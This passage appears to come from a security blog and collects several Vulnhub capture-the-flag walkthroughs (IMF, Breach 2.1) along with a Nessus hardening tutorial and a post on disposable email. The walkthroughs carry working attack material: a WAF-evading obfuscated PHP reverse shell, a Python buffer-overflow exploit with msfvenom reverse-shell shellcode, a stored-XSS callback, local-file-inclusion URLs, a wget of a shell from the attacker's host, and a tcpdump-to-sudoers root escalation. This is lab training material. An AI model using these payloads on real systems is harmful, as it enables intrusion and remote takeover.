$ su reed

So far so good! A whois reveals I am ROOT. By navigating to /root I found the flag:

hda-flag
The flag!

Translated it says:

“Congratulations,
Now begins the report!

And … That’s it. Done!

Conclusion

This was a quick and interesting game which I enjoyed a lot. The game just took an afternoon or so to complete and it gives a great glimpse into the basics of penetration testing.

One facet I enjoyed was that I had to do language translation! I love getting to know foreign languages!

If you enjoyed this walkthrough, please share and contact me on Twitter (@reedphish)!

IMF – Walkthrough

This segment of my Vulnhub series covers the walkthrough for the IMF Boot2Root virtual machine. From the description:

IMF is a intelligence agency that you must hack to get all flags and ultimately root. The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag. Difficulty: Beginner/Moderate.

Let’s dive in!

Test lab environment

My test lab consists of:

  • Virtual Box
  • Parrot OS
  • IMF VM

Discovery Scan

This image uses DHCP – this means no nasty setup is required. Finding the assigned IP-address is trivial:

$ sudo nmap -sn target_network/24

Service Scan

With the IP-address nailed down, let’s discover if the target has some services running:

$ sudo nmap -p1-65535 -A -T4 -sS target_ip
imf-nmap-service-scan
Nmap service scan

Only port 80 is open – fair enough.

Flag 1

Finding the first flag required some digging. I found it reading through the HTML source of each page available. The flag is in the source code for the contact.php page hidden in a comment (Base64 encoded):

  • Raw: flag1{YWxsdGhlZmlsZXM=}
  • Dec: allthefiles

What allthefiles refer to is unclear at this moment.

Flag 2

Still working on contact.php I noticed a Javascript filename that stood out. From the looks of it, it appears Base64 encoded too.

  • Raw: eVlYUnZjZz09fQ==.min.js
  • Dec: yYXRvcg==}

initial attempt didn’t make any sense. Looking at the same Javascript inclusion segment I notice other files with peculiar names:

<a href="http://js/ZmxhZzJ7YVcxbVl.js">http://js/ZmxhZzJ7YVcxbVl.js</a>
<a href="http://js/XUnRhVzVwYzNS.js">http://js/XUnRhVzVwYzNS.js</a>
<a href="http://js/eVlYUnZjZz09fQ==.min.js">http://js/eVlYUnZjZz09fQ==.min.js</a>

These seems to be a part of a much bigger Base64 encoded string. Adding them together:

ZmxhZzJ7YVcxbVl + XUnRhVzVwYzNS + eVlYUnZjZz09fQ== = ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

This new string decodes to flag2{aW1mYWRtaW5pc3RyYXRvcg==}, the inner string aW1mYWRtaW5pc3RyYXRvcg== decodes to imfadministrator

String appears to be a username or a path of some sort.

Flag 3

Trying the path of least resistance I added imfadministrator to the URL and got a login form. The HTML source revealed a hint:

<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->

The first thing that comes to mind is that I have to exploit a PHP function comparing strings. The most likely candidate is Strcmp paired with type confusion. But first I need a decent username. Perhaps I could use one of the contact email addresses? I quickly harvest the emails on the contact page:

  • rmicheals@imf.local
  • akeith@imf.local
  • estone@imf.local

Researching Strcmp PHP documentation I found that when comparing an array to a string, Strcmp will return NULL. This may trigger some interesting side effects.

To exploit this I changed the name of the password field using Firefox from “pass” to “pass[]”, entered rmichaels as username and submitted the form. This’ll force Strcmp to handle “pass” as an array and Bam! The third flag!

imf-flag-3
Flag 3
  • Raw: flag3{Y29udGludWVUT2Ntcw==}
  • Dec: continueTOcms

Flag 4

Visiting that link lead me to this page:

imf-flag-4-imf-cms
IMF CMS

By looking at the page navigation the navigation happens through GET parameter “pagename”. Inputting a simple ” ‘ ” revealed a MySQL error message which means it’s time for some SQLInjections! For once I let SQLMap do the lifting.

$ sqlmap --url target_address/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=e7tgfr2op1sunh8b9qpspq55f0" --level 2 --dbms mysql

Then moving on acquiring some tables

sqlmap --url target_address/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=e7tgfr2op1sunh8b9qpspq55f0" --dbms mysql --tables --dump

Lots and lots of output later I acquire the content of the pages table holding the navigation:

id pagename
1 upload
2 home
3 tutorials-incomplete
4 disavowlist

The table retrieved reveal one page not listed in the main navigation. Visiting “tutorials-incomplete”:

imf-flag-4-classroom
IMF Classroom QR

There’s a QR code in this picture. For those periodically reading my blog may remember I call them cows and that I don’t like them since they may lead to danger. Shoot. Anyways, I uploaded the whole image to zxing to decode it. It decodes to:

  • Raw: flag4{dXBsb2Fkcjk0Mi5waHA=}
  • Dec: uploadr942.php

Flag 5

Visiting that page yields a management interface for the IMF site.

imf-flag-5-upload-form
IMF upload form

Toying with it I find that

  • Uploading PHP files aren’t allowed. Tested by uploading empty PHP script. Clearly it checks the file extension.
  • Uploading empty GIF picture yields it also checks the MIME type. Yields invalid file data.
  • Uploading empty JPG picture also yields invalid file data.
  • Uploading GIF file only containing the string “GIF98” makes a successful upload.

I notice that after each successful upload the upload script places a hashed comment in the HTML code:

<!-- e596c395c91f -->

I have seen this behavior before. It’s quite typical to rename uploaded files to avoid naming collisions. The next mystery is to figure out where content is uploaded to. Most naturally content would be uploaded to a folder close to home bearing a name of “upload” or something similar. I reason the following

  • We’re inside a confined environment, e.g. the management tool behind imfadministrator. The folder should be somewhere further down the path.
  • The site itself seems pretty basic following basic naming conventions.

Finding the upload folder:

  • /imfadministrator/upload returns a HTTP 404 error code
  • /imfadministrator/uploads returns a HTTP 403 status code. This means direct access is forbidden, but the folder exists.

Finding the uploaded image:

  • I uploaded an image named “upload-mime.gif”. The path /imfadministrator/uploads/upload-mime.gif returns a HTTP 404. This is done to test my hypothesis on the hash comment.
  • Investigating the hash found in the HTML after upload, the path /imfadministrator/uploads/e596c395c91f.gif spat out the string “GIF98”. The very same string I prepped my “image” with. I consider I’ve found the image.

By the looks of it, it either misinterpreted my image or the web-server actually tried to execute the content of the image. I then prep my “gif” image with the following code:

GIF98

<?php
phpinfo();
?>

Then I uploaded it and access it by the same route as earlier. I got this:

imf-flag-5-phpinfo
PHPInfo triggered from GIF

OK. This begs for a shell! Wohoo! Finally! I whip out my trusty old PHP shell:

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ mv php-reverse-shell.php shell.gif

I then add a single line at the top saying “GIF98” and update my shell with my IP and desired port. Uploading the shell yields an error:

imf-flag-5-waf-detection
IMF Web Application Firewall (WAF)

Look at that! The author of this game actually thought of testing for fsock-open! Kudos! Back to the drawing board. Lets obfuscate the script in case the author only checks for plain strings.

I tested:

  • WAF recognizes “eval” function, but not “assert”
  • WAF recognized “base64_decode” but not “str_rot13”
  • WAS doesn’t recognize “urldecode”

My plan is to take the PHP shell code and URL-encode it, then encode yet again with ROT13. Upon execution I reverse the process and should be set to go! But first, my shell is somewhat badly coded. I must move the “printit” method to the top of the script since it must be initialized before being referenced. Other than that, it’s pretty much rock and roll!

GIF98

<?php

$enc = <<<ENC
__ENCODED PHP SHELL HERE__
ENC;

assert(urldecode(str_rot13($enc)));
?>

This fools the file upload script. I then move on to starting a Netcat listener:

$ nc -lvp 7777
imf-flag-5-php-reverse-shell
Reverse shell

After a brief look around I found the fifth flag in /var/www/html/imfadministrator/uploads:

imf-flag-5-cat
Flag 5

It reads:

  • RAW: flag5{YWdlbnRzZXJ2aWNlcw==}
  • DEC: agentservices

Flag 6

Flag 5 seems to be a hint towards services. It’s good habit to try to identify listening services once we got a shell

imf-flag-6-listening-services
Listening services

From netstat I see there are two services listening on localhost. I can’t connect to any of these due to limitations in my shell.

Further peeking around I found a reference to knockd in /etc/init.d. A quick peek at ps -aux confirms it running. Further investigation leads to the configuration file in /etc/knockd.conf. I am not allowed to read this one. Whilst in the /etc folder I navigate to the xinetd.d folder.

imf-flag-6-xinetd-agent
Xinetd.d content and agent content

The agent configuration contains references to port 7788, which I discovered earlier using netstat. Upon further investigation /usr/local/bin contains two files:

  • access_codes
  • agent

Running agent on the server I got this output:

imf-running-agent-on-server
Agent program running on server

I am closing in on this server. The file access_codes contains the text “SYN 7482,8279,9467“, which I assume is a port knock sequence. I hurry installing knockd on my Parrot computer and start knocking!

$ knock target_ip 7482:tcp 8279:tcp 9467:tcp
$ nmap -p 7788,22 target_ip

And by this, port 7788 magically got opened! Yay!

imf-flag-6-connec-service
Connecting to port 7788

But what is the agent ID it asks for?

Investigating the agent executable

I decide to try to download the agent executable locally for further inspection. Whilst on target I base64 encode the agent executable:

$ cat agent| base64 -w 0

Then copy the string and save locally on Parrot in a text file, then reassembling and executing it:

$ cat agent.txt| base64 --decode > agent
$ chmod a+x agent
$ ./agent

Next step, run agent through the strings command to see if I can find something interesting:

imf-flag-6-strings-on-agent
Running “strings” on “agent” program

From this I see evidence of two places where “%s” is used which could very well be a valid injection point. Most often this can be exploited by sending way too much data into it making a overflow. I make a note of it and continues hunting for the agent id. This time by running __ltrace__command

$ ltrace agent
imf-ltrace-on-agent
Ltrace on agent

By this I see that agent tests input against the value 48093572. Using this agent id and toying around I find that if send to much junk into the reporting tool it’ll crash.

imf-agent-core-dump
Agent core dump

Exploring binary and memory

From this point on things get a bit technical. I advice you to keep the following resources at hand:

The main goal from the following exercise is to create a backdoor. First lets make a pattern that’ll make agent crash. I’ll do so using the pattern_create.rb script from Metasploit:

$ usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
imf-flag-6-patterncreate
Creating overflow pattern

Next running agent through GDB. I had to install Peda prior to this to get better output:

$ gdb -q agent
imf-flag-6-gdb
Having fun with GDB

Having Peda installed I also got this gem of a output:

imf-flag-6-pedagdb
Peda ang GDB

I make a note of the EAX address 0x8048563. I’ll use this to launch my backdoor later on! Also, I need to find a offset to make this backdoor work. I use the pattern_offset.rb script from Metasploit for this:

imf-flag-6-pattern-offset
Getting offset

Ok – quite much stuff to dig through and at time I acknowledge my reverse engineering skills are quite rusty …

Exploiting agent crashing

With the information gathered I set out to create a backdoor. For this I turn to MSFVenom creating a TCP reverse shell.

$ msfvenom -o attack.py -p linux/x86/shell_reverse_tcp LHOST=my_address LPORT=7778 -f python -b "\x00\x0a\x0d"

I chose to output the generated code for easier editing since I need to add code for handling the connection to target and menu options. The resulting script ended up like this:

import socket

# Target related variables
remotehost = "target_address"
remoteport = 7788
menuoption = 3
agentid = 48093572

# Default recv size
recvsize = 512

# Connnect to remote host
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remotehost, remoteport))
client.recv(recvsize)
client.send("{0}\n".format(agentid))
client.recv(recvsize)
client.send("{0}\n".format(menuoption))
client.recv(recvsize)

# Payload genereated by Msfvenom, to be force fed into reporting tool
buf =  ""
buf += "\xd9\xc5\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x12\xbd\xed"
buf += "\xed\x3e\xbe\x83\xe8\xfc\x31\x68\x13\x03\x85\xfe\xdc"
buf += "\x4b\x64\xda\xd6\x57\xd5\x9f\x4b\xf2\xdb\x96\x8d\xb2"
buf += "\xbd\x65\xcd\x20\x18\xc6\xf1\x8b\x1a\x6f\x77\xed\x72"
buf += "\xb0\x2f\x63\x84\x58\x32\x7c\x96\xfa\xbb\x9d\x16\x9c"
buf += "\xeb\x0c\x05\xd2\x0f\x26\x48\xd9\x90\x6a\xe2\x8c\xbf"
buf += "\xf9\x9a\x38\xef\xd2\x38\xd0\x66\xcf\xee\x71\xf0\xf1"
buf += "\xbe\x7d\xcf\x72"

# Buffer is too small to trigger overflow. Fattening it up!
# 168 is the offset I found using pattern_offset
buf += "A" * (168 - len(buf))

# EAX call I made note of earlier in this segment
buf += "\x63\x85\x04\x08\n"

# And off we go!
client.send(buf)

Next, launching a Netcat listener on port 7778 and then launch the Python code:

imf-flag-6-root-shell
Final flag

Hey! Look at that! It worked! Whoami shows I am root. Navigating to root home folder and finishing this game:

imf-flag-6-the-end
Final flag

The final flag is:
* RAW: flag6{R2gwc3RQcm90MGMwbHM=}
* DEC: Gh0stProt0c0ls

Conclusion

This game started a bit daft with quite ordinary challenges. Things got interesting at Flag 5 and Flag 6 really made my day! I got to exercise my rusty reverse engineering skills, which was fun! All in all, I am quite happy playing IMF!

If you enjoyed this walkthrough, please share and contact me on Twitter (@reedphish)!

Proactive vulnerability scanning

 

Today I am demonstration how to proactively work with the results from a vulnerability scanner to secure a server. I will set up a vulnerability scanner to scan a server in my test lab in order to discover how it appears to attackers running similar tools. We will touch upon fixing low hanging fruits and then move onto patch auditing.

Let’s get started!

Lab setup

My server is hosted in my personal test lab and the setup consists of:

The CentOS installation is set up to mirror a software configuration I see often in the wild.

Stage 1: Preparation

For this demonstration I downloaded Nessus and registered for a license. I settled for the Home edition because it’s free and allows me to scan up to 16 IP’s pr. registered license. This is great for evaluation and lab purposes.This Nessus instance will be hosted on my Parrot OS VM.

A side note here: there are other vulnerability scanners offered for free with a personal or community license. For instance, Rapid7 offers their Nexpose scanner for free with similar limitations as Nessus. It’s a great product and I urge you to try that one too!

For CentOS I used the minimal installation ISO as installation media. I originally intended this demo to cover Red Hat Enterprise Linux but landed on CentOS instead since it’s free and easy to obtain. Red Hat offers a 30 day evaluation license for free, but you must register to obtain it.

The CentOS installation is then prepped with the following software which forms the LAMPP stack:

  • Apache
  • PHP
  • MariaDB
  • OpenSSH

Every service is then set up to run at boot time. I will not cover the installation of said software. The following tutorials will push you in the right direction if you chose to tag along:

Stage 2: Creating scan policy

The base methodology is to perform a baseline scan on an installation of a LAMPP enabled CentOS server. I will then analyze the scan results and make some alterations to the software configuration and then re-scan to validate the changes. The scan will be a plain perimeter scan, but I will also touch upon credentialed scan to tackle some cumbersome piece of software.

The first step is to create a custom scanning policy based on the “Advanced Scan” policy already available in Nessus.

nessus-policy-advanced-scan
What I based my policy on

Under “General” in “Assessment” I have enabled “Override normal accuracy” and “Show potential false alarms”. Normally we would prefer to remove false alarms since they often bring much noise into our reports. False alarms are also referred to as “false positives“.

nessus-override-normal-accuracy
Showing potential false alarms

To make sure that Nessus touches PHP on my server I have enabled the following settings under “Web Applications”. Don’t worry about the input boxes in black. It’s only Parrot OS being annoying – these are intentionally left as is.

nessus-web-applications
Enable “Scan web applications”

And

nessus-web-application-test-2
A bunch of options

Stage 3: First perimeter scan

The first scan came up with some interesting information. We got vulnerability of every category available and there’s 61 of them! This is an exaggeration. But first let me explain the concept of classification.

Nessus classifies vulnerabilities in the following severity categories:

  • Critical
  • High
  • Medium
  • Low
  • Info

The general way to handle vulnerabilities is to start resolving vulnerabilities from the highest category, “Critical”, and then move on further down the stack. At the very end we find the “Info” class.

The lowest category contain mainly information about the scan and general information about the target.Typically these are abundant, but stilling counting in the total vulnerability count. This class isn’t exactly where’s the meat is, but don’t discard them totally. There may be evidence there pointing to findings the scanner didn’t pick up.

The following screenshot displays how many vulnerabilities there are in each category:

nessus-first-scan-overview
First scan vulnerability distribution

Drilling down we see that Nessus have had a field day reporting mostly on “unsafe” versions of PHP and OpenSSH.

nessus-first-scan-vulnerabilities
First scan vulnerability details

Stage 3: Removing application banners

Most of the vulnerabilities detected stems from software banners being picked up. Vulnerability scanners picking up such banners is typical behavior and can be combated somewhat easily.

Let’s look at how we can disable the banners:

Handling PHP version leakage

Whenever serving PHP over the web the PHP version is leaked in the “X-Powered-By” HTTP header field. This feature can be turned off by setting the PHP.ini directive “expose_php” to “Off”. Remember to restart the web server for changes to take effect.

Handling Apache version leakage

Apache leak version information on status pages, error pages and in HTTP headers. To combat this change Apache configuration accordingly:

  • ServerSignature Off
  • ServerTokens Prod

Remember to reload or restart the web server for changes to take effect.

Handling OpenSSH version leakage

So far so good in making CentOS appear less appealing for attackers. Now comes the sad part. Due to Red Hat and CentOS way of handling backporting we’re stuck with broadcasting which version of OpenSSH we’re using. To pour even more gasoline on the bonfire, the OpenSSH FAQ states that we can’t disable this broadcast:

This information is used by clients and servers to enable protocol compatibility tweaks to work around changed, buggy or missing features in the implementation they are talking to. This protocol feature checking is still required at present because versions with incompatibilities are still in wide use

However there’s a directive called “Banner” in the “sshd_config” file you can set to “no”. It is unclear what exactly this directive does. It doesn’t hurt to set it anyways.

Stage 4: Second perimeter scan

With minor changes in the setup the amount of vulnerabilities found has been reduced. Nice!

nessus-second-scan-overview
Second scan vulnerability distribution

The PHP vulnerabilities are now seemingly gone from our view. What we’ve done is to minimize the footprint of the server – we have in no way made it more secure. Vulnerabilities do exist, but they will be harder to spot.

nessus-second-scan-vulnerabilities

Stage 5: Credentialed scan

The scans I have conducted today are all based on scanning the perimeter. Did you know that you can let the scanner log onto the server and do a patch audit? It can. In the policy I created earlier I enable the scanner to log in using SSH. Once again Parrot OS has blacked out the input boxes, but they contain the login credentials. Oh, one more thing! I updated the policy to avoid false alarms.

nessus-credentialed-policy
Adding credentials to policy

Last time there were 29 vulnerabilities. Some of them were false alarms. Running the credentialed scan shows we have reduced the amount of vulnerabilities.

nessus-credential-scan-distribution

Drilling down to the vulnerabilities view shows that we only got two mediums and two lows to tackle! Nessus is pretty smart when doing credentialed scans. It logs onto the server and yank out a list of all installed software and compares it to its plugins database.

nessus-credentialed-scan-vulnerabilities

By actually looking at what’s installed the vulnerability scanner will do a better job. Did you notice something interesting in the screenshot above? The findings related to OpenSSH are gone. Nessus found out that my server is patched given according to its current plugin database. We still broadcast the OpenSSH version to potential attackers, though.

Final thoughts

My demonstration today started out with identifying how my center would appear for attackers running similar tools. We saw that the server leaked some information about the software in use and how to reduce that footprint. We applied some security by obscurity by removing software banners and validated the changes by running a follow-up scan. Since we couldn’t turn of banners for one piece of software, we moved into credentialed scans to actively see if the server was patched correctly.

Looking at the perimeter aspect turning off banners is considered security by obscurity. The reason for this is that there are other ways to determine software versions. Another way is to approach the server holistically by looking at the complete picture. Even small pieces of information may yield big results.

Having a vulnerability scanner at hand and not proactively fix issues is a very bad combo. What is the point having a huge report pinpointing vulnerabilities without trying to fix them? For the best experience using vulnerability scanners you must actively investigate that patches and updates has been installed the vulnerabilities found. Solving low hanging fruits doesn’t hurt either.


If you enjoyed this post please share and contact me on Twitter ( @reedphish )!

 

Breach: 2.1 – walkthrough

Breach 2.1 is a boot2root/CTF challenge that attempts to showcase a real-world scenario. The challenge is provided as a VM configured with a static IP (192.168.110.151).

The following blog post is my log from playing this challenge.

Test lab environment

As usual my test lab consists of:

  • Virtual Box
  • Parrot OS
  • Breach 2.1 VM

Initial stage

This VM already comes configured with static IP-address. As long as I am on the same sub net as the VM everything should be dandy. As with many other challenges we start with a black box scanning to find open ports:

sudo nmap -p1-65535 -A -T4 -sS -oX nmap_scan_initial.xml 192.168.110.151

TIP: Always save your outputs! In this example I am using the XML output option. This makes it way easier importing the results into tools such as Dradis and MagicTree. I’ve omitted any output arguments for the rest of this walk-through.

breach21 - first portscan.png
First portscan

SSH investigation

The initial port scan revealed that port 111/tcp (rpcbind), 56209/tcp (status) and 65535/tcp (ssh) are open. The SSH port caught my eye and will be first victim for scrutiny. For now I will simply barge in:

$ ssh 192.168.110.151 -p 65535
breach21-ssh-on-high-port
SSH banner

The SSH banner gives away lots of hints for this challenge:

  • There’s a user with name “Peter” on the server
  • Peter is on vacation. Perhaps he’s using his personal laptop to access the system?
  • Peter checks his blog often.
  • Peter’s password is in the source. Which source?

Very Peter specific hints. The password hint is strange given access is on SSH port only. Anyway, since there are no source to look at I deduct the password is a variant of “in the source“. The sanest way is to treat it like a password, thus removing any white spaces:

Breach21 - ssh login peter.png
SSH Peter fails

Login in as Peter is a success but the connection drops straight away. Since there are no warning or error messages I deduct I am dealing with the “ForceCommand” directive. This directive is typically used for running commands upon logins. I’ll issue another Nmap scan to see if anything changed.

Breach21 - second nmap scan.png
Second Nmap scan

Apparently the login attempt woke Apache from its sleep. Interesting find. Before visiting I decide to enumerate folders up front):

nmap --script=http-enum.nse 192.168.110.151
Breach21 - enumerate web folders.png
Nmap Folder Enumeration

Nothing much found except for the “/blog/” folder. It’s time to do some manual investigation.

Website investigation

The default landing page is a bare one:

Breach21 - blog website.png
Default landing page on web-server

Not exactly much to go by except for something related to “Beef” and a “stapler”. The HTML source code doesn’t give away anything interesting:

Breach21 - Blog HTML source.png
HTML comments

Blog investigation

Breach21 - blog landingpage.png
Not exactly sexy

This blog isn’t exactly sexy and is quite old judging from the copyright notice (and the design). Given the hint that Peter is checking his blog constantly I deduct this is it and I have to exploit him directly. Perhaps attacking his browser using XSS:

breach21 - searchsploit.png
Searching for exploit

Reading through the list it seems that the “17640.txt” is a possible candidate:

breach21 - blogphp exploit.png
A fitting exploit

A quick test reveals that “register.html” is accessible and gives me hope the exploit will work. The plan is to register a new user using some HTML as user name to connect back to my computer. In that way I can fetch his User-Agent and determine if he is further exploitable.

Username:

<img src="http://192.168.110.04:7771" />

Listener

nc -lvp 7771

And sure enough, after a short while Peter browsed the site and my listener caught it:

breach21 - peters browser.png
Caught by listener

He’s using a fairly old browser. Searching through Metasploit I find that exploit “exploit/multi/browser/firefox_proto_crmfrequest” addresses Firefox 15.

Preparing it for action:

breach21 - preparing metasploit.png
Preparing exploit

Then I register a new user on the blog using an iframe instead of the image tag I previously used. The theory behind it is almost the same, except payload will be dropped in the iframe. After running this exploit all I have to do is to wait for Peter to revisit the members section.

breach21-exploit-connecting
Exploit doing its magic

Once the session is active I can do stuff:

Breach21 - exploit ls and id.png
Running “ls” and “id” command before connection dropped

The “id” command shows I am connect as Peter. Earlier on I tried to log in as Peter using SSH. Seemingly it worked but I got kicked right back out again and suddenly Apache was brought to live. I made a note maybe the “ForceCommand” setting was involved, the time is ripe to investigate the circumstances!

Using the active session I peek at the SSH configuration using this command:

cat /etc/ssh/sshd_config

It contains:

UsePAM yes
AllowUsers peter
ForceCommand /usr/bin/startme
AddressFamily inet

The “startme” script deserves some attention, it contains:

sudo /etc/init.d/apache2 start >> /dev/null

This script starts Apache when Peter logs in. Obviously this tossed me right back on the street upon execution. The strategy now is to gain access using SSH. Peters “.bashrc” will play an important part in this strategy since I want to rewrite it completely to spawn a shell:

echo "exec sh" > .bashrc

SSH login

The trick worked and I can successfully login using SSH. Running a quick “whoami” and “ls” reveals:

breach21-ssh-successfull-login
SSH login successful!

The next thing is to find me some users by investigating “/etc/passwd”:

breach21-userslist
Finding users

I got “peter”, “blumbergh” and “milton”. Finding users are important, they will come in handy later. Next I’ll figure out if there’s anything interesting running locally on this server.

Breach21 - netstat.png
Local services

For the most part I am interested in anything in listening state. Port 3306 typically indicate the MySQL service, from the socket list I see evidence that MySQL is indeed running. I leave it be for now. Further, there are something listening on port “2323” on localhost. A mystery service maybe Netcat can shed some lights on?

Mysterious service

Breach21 - telnet.png
It appears to be Telnet

Sure thing, Netcat connects but output is garbled. The output resembles something Telnet would produce and connecting to it using the “telnet” command confirms it.

What’s strange is that I am presented with what seems as a GPS position in the welcome banner. Google Maps says it is a place in Houston called “Houston Police Memorial”. This gotta be a major hint! A place with “Houston” in its name in city called Houston? “Houston” seems important. Perhaps the pass-phrase?

Breach21 - telnet trickery.png
Telnet trickery

Blumberg is a dud using “Houston” as password, but there’s something about “milton”. Logging in I am presented with a counter counting downwards, then it asks a silly question about a stapler. I’ve seen that “stapler” referenced before. Anyway, it’s perfectly clear that the counter is a program or script. What’s the best location to hide such a thing? The first thing that pops into mind is “/usr/local”. I decide to go hunting for it.

$ grep -rl stapler /usr/local 2>/dev/null

The offending script causing this is “/usr/local/bin/cd.py” and contains:

#!/usr/bin/python

import signal
import time
import os

s = signal.signal(signal.SIGINT, signal.SIG_IGN)

countdown=3

while countdown >0:
time.sleep(1)
print(countdown)
countdown -=1
if countdown <1:
question = raw_input("Whose stapler is it?")
if question == "mine":
os.system("echo 'Woot!'")
else:

os.system("kill -9 %d"%(os.getppid()))
signal.signal(signal.SIGINT, s)

The magic pass-phrase is “mine”. Trying that:

Breach21 - mastering telnet trickery.png
Mastering Telnet trickery

And I am in as “milton”. Two out of three users down. Poking around “miltons” home folder I find that there’s something fishy going on with his “.profile” file.

python /usr/local/bin/cd.py
sudo /etc/init.d/nginx start &> /dev/null

sudo() {
echo "Sorry, user milton may not run sudo on breach2."
}
readonly -f sudo

From the code in .profile I see that upon login Nginx is set to start running under sudo. What comes next is even more interesting! There’s an alias for “sudo” so that whenever “milton” tries to “sudo” he’s denied. Investigating further using “netstat” I see that a new port has been opened, most likely belonging to Nginx!

Breach21 - netstat Nginx started.png
Netstat new listening port

Exploiting osCommerce

Browsing to port 8888 brought me just an index page with a pointer to osCommerce. By just looking at the osCommerce logo we can figure out the version number, which is “V3.0a5”. Using “searchsploit” I find a fitting exploit:

Breach21 - oscommerce exploit.png
osCommerce exploit

This version of osCommerce is prone to a local file-include vulnerability and an HTML-injection vulnerability since it fail to properly sanitize user-supplied input. The URL we are going to exploit looks like this one:

http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=traversal_here

I quickly create a test PHP script to see if the exploit works:

echo "" > /tmp/hello.php

The goal is to use that directory traversal to load this PHP script. The traversal when crafted looks like:

http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/hello

It works and this means I can utilize it together with a reverse shell.

osCommerce upload shell

The plan for exploiting osCommerce is as follows:

  • Create backdoor PHP shell
  • Start a local web server
  • From attacker side startup Netcat listener
  • From the Telnet session “wget” shell onto server
  • From attacker side effectuate shell

Creating bakdoor PHP shell

$ cp /usr/share/webshells/php/php-reverse-shell.php shelly.txt

In “shelly.txt” I set following:

IP = 192.168.110.4
PORT = 77777

Script is now ready to use!

Start a local web server

I start a local web server so “shelly.txt” can be downloaded using “wget” directly from the target server

$ php -S 192.168.110.4:8080

Start Netcat listener

$ nc -lvp 7777

Downloading the shell

Inside the “milton” Telnet session:

$ wget http://192.168.110.4:8080/shelly.txt
$ mv shelly.txt /tmp/shelly.php

Effectuate shell

In Firefox I visit:

http://192.168.110.151:8888/oscommerce/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../../../../../tmp/shelly

And I then I got shell access!

Breach21 - shell working.png
Shell working

Determining sudo rights:

Breach21 - blumbergh sudo rights.png
sudo rights Blumbergh

OK. A major hint right there. Blumberg can run “tcpdump” without password.

Exploiting TCPDUMP

There’s a known issue with TCPDUMP that let us run commands and scripts as ROOT. You can read more about it here: Why TCPDUMP is dangerous.

Plan is to make “blumbergh” able to sudo without password.

$ echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/doomsday && chmod +x /tmp/doomsday
$ sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/doomsday -Z root

Test if command executed like it should:

$ sudo -l
breach21-su-to-root-ok
sudo information

Final step to become ROOT and pwn this game:

$ sudo su
$ cd /root
$ ls -la

Found “.flag.py”, executing it:

breach21-flag
The flag!

Closing

This was a lengthy and fun challenge and I also enjoyed making this walkthrough! If you enjoyed it, please share and contact me on Twitter ( @reedphish )!

Disposable emails

Everybody hates spam. I do. You do (if you don’t I’ll force you to). Waking up to a inbox full of spam from a company you once registered your email address to eons ago is a drag. Especially from those companies offering “free” white papers. Today I’ll look into ways to combat this by looking at a service offering disposable email addresses.

Mailinator

Mailinator is a service offering disposable email addresses. It’s a great service that does not require that an account or mailbox with the recipient’s name be created beforehand. It’s dead simple to use. This is the reason I prefer it. Whenever you sign up for anything just enter an address ending in “@mailinator.com”.  Mailinator will automatically create your inbox on the very first email received.

Reading emails

To better illustrate this I sent an email to “startrekcoffeeshop@mailinator.com using anonymousemail.me. The receiving address had not been created before sending. To check received mail, I just visit the Mailinator website and enter the recipient name. No password required!

mailinator frontpage.PNG
Mailinator – front page

After “logging” in I see that the email I just sent has been delivered to my inbox.

mailinator-inbox
Mailinator – inbox

Clearly Spock it out of coffee beans. Notice the senders email address. Spoof ahoy!

mailinator reading email.PNG
Mailinator – reading email

Notice that Mailinator doesn’t offer to reply or send emails. Some might say this is a complete bummer. Perhaps. The way I use it, it doesn’t matter since it’s purely for receiving purposes.

Reading someone elses inbox

If you expect “your” inbox to be private you are dead wrong. It isn’t. This isn’t unique to Mailinator since most services like has the same features. While researching and collecting screenshots I stumbled over some already made inboxes.

mailinator-account-already-in-use
Mailinator – reading someone else’s inbox 1

Judging from the screenshot above someone have set up a spam trap using this service. Most likely, this inbox is used by several people.

mailinator-account-already-in-use-2
Mailinator – reading someone else’s inbox 2

Just for the kick of it, I opened up an inbox referencing Apple computers, or so I imagine. I even accidentally opened up an inbox containing usernames and passwords to several social media and dating sites. It could be I stumbled across faked information – or … I decided to leave out the screenshots for that one.

Other services

Mailinator is just one service offering disposable emails. Here’s a small list of alternatives:

Most services doesn’t bring that much new to the table. Some services offers the address to live for a brief time before being discarded. Typically these also offer auto generated addresses for you to use. Some may say this’ll increase privacy – I think you should regard these services as being insecure to begin with.

You may ask why I focus on alternatives? The reason is that many portals and such are able to sniff out these addresses and block them. Typically I’ve found that websites offering white papers does this. That’s when a list of alternatives comes in handy.

Pros

There are many uses of said services, not just for downloading white papers. Here’s a few pros for using disposable emails:

  1. Anonymity! No one knows who owns the address.
  2. Safeguarding your real inbox from spam.
  3. Works great when you need to log in to a webpage to evaluate it or to get content.
  4. Less muck to worry about.

Cons

There are a plenty of cons using disposable addresses. Here’s a few

  1. Some companies aren’t overly happen about accepting disposable addresses, thus they  tend to block sign ups. The reason for this is simple. Any person signing up is a potential sales lead and since these addresses are bogus these are considered cold leads. No potential for earning a buck.
  2. Some of the services offer you to define your own address. This means that any other person out there can do the same. There is a real chance that someone can hack into your inbox by just entering the same address. On second thought, even the auto generated ones can be hacked relatively easy.
  3. Password resets can be a bitch since the email address may no longer exist.
  4. You are really opening up your inbox to the world.

Advice

Be smart when using disposable emails. Here’s some advice:

  • Don’t reveal yourself in the address. Use garbled information or something just silly (like “startrekcoffeeshop”)
  • Delete any emails once read, if the service allows it.
  • Don’t sign up to social media sites using such addresses. I accidentally found the username and password belonging to someone when I made the screenshots in this post. I also found username and passwords to a dating site.
  • Remember your inbox is most likely open for the entire world to read!
  • Keep sensitive data out of correspondence!

I enjoyed making this blog post! If you enjoyed reading it, please share it. Don’t hesitate to contact me on Twitter (@reedphish)!

PwnLab: Init – walkthrough

